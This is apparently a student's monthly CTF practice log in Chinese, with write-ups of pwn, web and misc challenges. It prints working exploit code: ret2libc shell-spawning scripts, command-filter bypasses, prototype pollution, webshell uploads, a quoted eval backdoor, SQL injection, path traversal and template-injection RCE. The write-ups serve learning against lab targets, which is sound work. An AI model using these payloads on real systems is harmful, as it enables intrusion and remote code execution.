贰零贰肆年拾贰月刷题月记


说在前面

12 月的前几天都在绝赞补作业中😭

加上又要忙 qwb 青少的一些事,做题时间其实不多。

不过题肯定是不能少刷的。

12-25更新: 准备期末,开鸽~~


Pwn

CTF Wiki ret2libc1

做这道题之前去了解了一下一些 pwn 工具的常用操作,果然做题顺了很多。

或许也可能是做 pwn 题目的思维逐渐构建起来了的原因?咱也说不准😅

总之这道题算是比较简单的, system 的 plt 地址和 /bin/sh 都直接给你了。

IDA 找在哪里可以 call 到 system 再找 /bin/sh 字符串地址就行了。

至于 offset ,才发现可以 cyclic 直接梭哈出来,不用自己手算真是太好了。

cyclic 填充字符串,查看返回地址后 cyclic -l 找到 offset112

直接写脚本打进去:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

context(log_level = 'Debug', arch = 'i386')

bin_sh_addr = 0x8048720

system_plt_addr = 0x8048460

io = process("./ret2libc1")

payload = flat([b'A' * 112, system_plt_addr, b'a' * 4, bin_sh_addr])

io.sendline(payload)

io.interactive()

直接通了。

CTF Wiki ret2libc2

和上题差不多,但是这一回没有给你 /bin/sh

这个时候就需要我们先利用栈溢出 call gets 函数,将 /bin/sh 字符串读入到存在于 bss 段的 buf2 变量中,然后再和上题一样 call system 以 getshell.

读入 /bin/sh 的方式和 ret2syscall 中讲的内容有点相似。

上 payload :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

context(log_level = 'Debug', arch = 'i386')

system_plt_addr = 0x8048490
puts_plt_addr = 0x8048460
pop_ebx_addr = 0x804843d
bss2_addr = 0x804A080

payload = flat([b'A' * 112, puts_plt_addr, pop_ebx_addr, bss2_addr, system_plt_addr, b'a' * 4, bss2_addr])
bin_sh = b'/bin/sh'

io = process("./ret2libc2")

io.sendline(payload)
io.sendline(bin_sh)

io.interactive()

CTF Wiki ret2libc3

感觉这才是真正的 ret2libc.

主要的思路就是利用栈溢出调用 puts 函数泄露 __libc_start_main 的地址,根据对应版本 libc.so 中各函数的 offset 是固定且已知的这一点调用 libc 中的 system 函数,获取 /bin/sh 字符串以 getshell.

计算 libc 中函数的偏移可以交给 LibcSearcher 模块,其他的和前两题大同小异。

上 payload :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
from LibcSearcher import *

context(log_level = 'Debug', arch = 'i386')

io = process("./ret2libc3")

ret2libc = ELF('./ret2libc3')


puts_plt = ret2libc.plt['puts']
libc_start_main_got = ret2libc.got['__libc_start_main']
main = ret2libc.symbols['main']


# 泄露 __libc_start_main 的地址并返回 main 函数方便打第二个 payload
leak_libc_start = flat([b'A' * 112, puts_plt, main, libc_start_main_got])
io.sendlineafter("Can you find it !?", leak_libc_start)


# LibcSearcher 算出偏移,拿到 system 和 /bin/sh 的真实地址
libc_start_main_addr = u32(io.recv()[0:4])
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libc_base_addr = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libc_base_addr + libc.dump('system')
binsh_addr = libc_base_addr + libc.dump('str_bin_sh')


payload = flat([b'A' * 104, system_addr, b'a' * 4, binsh_addr])
io.sendline(payload)

io.interactive()

NSSCTF [UUCTF 2022 新生赛] easystack

checksec 发现开了 PIE .

IDA 打开,发现有给 backdoor , vuln 里有一个栈溢出。

因为开了 PIE ,只能得到 backdoor 地址的两个字节,最后那个需要爆破

上 payload :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
from LibcSearcher import *

context(log_level = 'Debug', arch = 'amd64', os = 'linux')

io = process("./prog/easystack")

backdoor_addr = 0x1185

payload = b'A' * 0x108 + p32(backdoor_addr)

io.sendline(payload)

io.interactive()

多爆一会就能 getshell 了。

flag : NSSCTF{ab40ec1d-0dfc-457e-b083-092b74750088}

NSSCTF [MoeCTF 2021] ret2text

有 backdoor , 啥也没开

主函数里有一个栈溢出。

因为是 amd64 , ROPgadget 找个 ret 对齐一下才可以打通。

上 payload :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
from LibcSearcher import *

context(log_level = 'Debug', arch = 'amd64', os = 'linux')

# io = process("./prog/ret2text2")

io = remote("node5.anna.nssctf.cn", port)

backdoor_addr = 0x400687

ret_addr = 0x400546

payload = flat([b'A' * 18, ret_addr, backdoor_addr])

io.sendline(payload)

io.interactive()

flag : NSSCTF{42773a7c-c05d-4482-9df0-7b9ab4c49d47}


Web

NSSCTF [GKCTF 2020] cve 版签到

热身题:

题目限制了我们只可以访问以 .ctfhub.com结尾的 url.

点击 View CTFHub ,一眼 SSRF:

既然有限制,思路就是 Bypass 过去。

猜测 %00 截断可以生效。

题目提示的 CVE 漏洞似乎就是会有 %00 截断,这里是猜的

放 payload :

1
/?url=http://localhost%00.ctfhub.com

提示要以 123 结尾,那就换种方式打过去:

1
/?url=http://127.0.0.123%00.ctfhub.com

在响应包中发现 flag 。

NSSCTF [MoeCTF 2021] babyRCE

源码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php

$rce = $_GET['rce'];
if (isset($rce)) {
if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
system($rce);
}else {
echo "hhhhhhacker!!!"."\n";
}
} else {
highlight_file(__FILE__);
}

可以看到确实过滤了很多可以读取 flag 的命令,但是并没有过滤转义字符

上 payload :

1
/?rce=ca\t%09fla\g.php

这里回显不会直接显示出来,需要 F12 查看。

得到 flag :NSSCTF{a143b51a-9629-46e5-9567-cef40ba89291}

NSSCTF [MoeCTF 2021] fake game

最简单的 Node.js 原型链污染。

题目提示我们有 10 点属性可以分配去挑战魔王,点击创建角色会提示勇者已经被 merge 到魔王城了

看到 merge 果断联想 Node.js 原型链污染,F12 同时还告诉我们如果我们把属性设置为 0 就会没有这个属性。

可以上 payload 了:

{"attributes":{"health":0,"attack":0,"armor":0,"__proto__":{"health":50000,"attack":50000,"armor":50000}}}

POST 打过去即可,得到 flag : NSSCTF{041ff8fc-8353-4549-b6d9-2a48dbce0211}

NSSCTF [FSCTF 2023] 签到 plus

题目没有前端,扫目录找到一个 shell.php

里面是 phpinfo ,猜测是后门。

观察响应包可以发现其 php 版本是 7.4.21 ,有端联想 Development Server 源码泄露。

打开 yakit 的不修复长度,构造请求:

1
2
3
4
5
6
7
GET /shell.php HTTP/1.1
Host: node4.anna.nssctf.cn:port


GET /1 HTTP/1.1


这里一个回车都不可以少,踩坑了

响应:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
phpinfo();
$😀="a";
$😁="b";
$😂="c";
$🤣="d";
$😃="e";
$😄="f";
$😅="g";
$😆="h";
$😉="i";
$😊="j";
$😋="k";
$😎="l";
$😍="m";
$😘="n";
$😗="o";
$😙="p";
$😚="q";
$🙂="r";
$🤗="s";
$🤩="t";
$🤔="u";
$🤨="v";
$😐="w";
$😑="x";
$😶="y";
$🙄="z";

$😭 = $😙. $😀. $🤗. $🤗. $🤩. $😆. $🙂. $🤔;

if (isset($_GET['👽🦐'])) {
eval($😭($_GET['👽🦐']));
};

?>

payload:

1
/shell.php?👽🦐=cat%20/flag.txt

NSSCTF [HGAME 2023 week1] Classic Childhood Game

前端题,代码审计。

Event.js 里审到一个 mota() 很可疑,控制台运行一下:

NSSCTF [FSCTF 2023] 是兄弟,就来传你の🐎!

文件上传。

正常上传一句话木马无效,改传图片马会显示图片过大。

测试后发现后端有对后缀名和上传文件格式的验证。

尝试这样打一下:

1
2
3
4
Content-Disposition: form-data; name="file"; filename="00.gif"
Content-Type: image/gif

GIF<?=`nl /*`;

有回显上传路径,直接访问无效。

.htaccess 也无法覆写,尝试绕过后缀名黑名单

尝试 .pht 发现上传成功

最终 payload :

1
2
3
4
Content-Disposition: form-data; name="file"; filename="00.pht"
Content-Type: image/gif

GIF<?=`nl /*`;

访问即可得到 flag .NSSCTF{f6c55439-a3f5-4cac-9150-908485db4178}

NSSCTF [LitCTF 2023] Vim yyds

很明显的提示,vim 源码泄露

访问 /.index.php.swp 得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
error_reporting(0);

$password = "Give_Me_Your_Flag";

echo "<p>can can need Vim </p>";

if ($_POST['password'] === base64_encode($password))
{
echo "<p>Oh You got my password!</p>";
eval(system($_POST['cmd']));
}

?>

🐎都给我塞好了,POST 传个 $password 的 base64 就可以用 $cmd RCE 了

NSSCTF [MoeCTF 2022] Sqlmap_boy

好,我用 SQLmap (bushi)

先用万能密码登录:admin" or 1=1 #

闭合方式可以 F12 找到。

漏了一个注入点:http://node5.anna.nssctf.cn:port/secrets.php?id=1

直接用 SQLmap 打的话,会打不通,后端会验证 cookie ,所以要加上你登录成功后的 cookie :

1
python sqlmap.py -u "http://node5.anna.nssctf.cn:port/secrets.php?id=1" --random-agent --cookie "HMACCOUNT=D9085B78E5D3B21B;Hm_lpvt_648a44a949074de73151ffaa0a832aec=1734506930;Hm_lvt_648a44a949074de73151ffaa0a832aec=1734173647,1734180461,1734440965,1734500731;PHPSESSID=8b2282a7260168a07ece5f3924a24c34" -D moectf -T flag -C flAg -dump

NSSCTF{3083258c-28aa-4c14-81c6-bc6103e770ff}

NSSCTF [HUBUCTF 2022 新生赛] ezsql

dirsearch 扫一下,有源码泄露在 www.tar.gz

漫长的代码审计。。。

update.php 里面发现了华点:

1
$query=$mysqli->query("update users set age=$_POST[age],nickname='$_POST[nickname]',description='$_POST[description]' where id=$_SESSION[id]");

是一个 update 注入,在 age 处。

同时在 register.php 中我们发现密码被套了一层 MD5 和一层 hex.

age=1,password=0x31333935353233353234356232343937%23 设置所有密码为 123123.

登录,在 admin 的 description 处发现 flag.

NSSCTF{e9fbc1a8-b509-4925-ac89-821bd2e4d757}

NSSCTF [LitCTF 2024] 高亮主题 ( 划掉 ) 背景查看器

Yakit 抓一下主题切换的 Request ,发现是直接请求的 php 文件。

theme=../../../../../../../../../../../flag

一万层目录穿越一把梭.

flag: NSSCTF{1bdb7278-fdd4-4e35-af6d-f647be26cda5}

NSSCTF [SCTF 2021] loginme

代码审计 + 模板注入

提示我们 flag 在 password 里面

需要用本地地址访问才可以进入可以 ssti 的页面

Request 里面加个 X-Real-IP: 127.0.0.1 即可

/id=0&age={{.Password}} 得到 flag

flag: SCTF{E@zy_SIGn_Ch3eR!}

NSSCTF [NCTF 2018] Flask PLUS

一个不明所以的页面。

点击底下切换 demo 时有报错

发现报错信息里含有请求的网址,猜测存在 ssti

测试:

用之前发现的一个神奇 payload 一把梭:

{{lipsum.__globals__['o'+'s']['pop''en']('ls /').read()}}


MISC

NSSCTF [UTCTF 2020] Observe closely

下载后得到一张图片,分辨率和大小对应不上,猜测藏了东西

010 Editor 打开,在文件末尾发现:

是一个 zip 压缩包,缺少了文件头,加上去解压:

解压出来运行就好。

NSSCTF [SWPU 2020] 套娃

套了一坨 xlsx 文件。

第一层塞了一个 rc4 密文。

第二层塞了一个带 rc4 密文 key 的压缩包,但是被加密了。

第三层则是一个打不开的压缩包,010打开可以在尾部发现第二层压缩包的解压密码。

最后 rc4 解密即可。

flag : NSSCTF{ef1a73d40977a49b99b871980f355757}

NSSCTF [NISACTF 2022] 流量包里有个熊

下载下来一个未知文件,根据题目描述猜测是 pcap 流量包。

跟踪 TCP 流发现一个图片文件,导出。

同时可以注意到这个图片文件后面是跟着一个 rar 压缩包的,分离压缩包后在里面发现被加密过的 flag 文本文件,内容一眼凯撒密码加密后的 16 进制字节。

偏移是 13 .

解密出的字节流其实是一个 jpg 文件。

导到 stegsolve 里看,发现图片细节失真比较严重,但是没有发现其他隐写痕迹。

常规隐写方式都撞一遍,最后发现是盲水印。

评价是看吐了

得到 flag : NSSCTF{S0_clev2l_You}

攻防世界 GFSJ0249 misc_pic_again

下载下来一张图片,LSB隐写。

提取出来一个压缩包,解压后是一个二进制文件。

IDA Pro 打开查找字符串,发现 flag :

hctf{scxdc3tok3yb0ard4g41n~~~}